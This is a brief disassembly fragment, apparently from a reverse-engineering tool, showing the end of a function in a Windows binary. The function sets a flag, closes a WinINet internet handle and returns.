mov dword [0x140026a54], 1
call fcn.14000a0b4
mov eax, 1
jmp 0x14000399c
mov rcx, qword [rdi]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rbx, qword [rsp + 0x68]
xor eax, eax
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret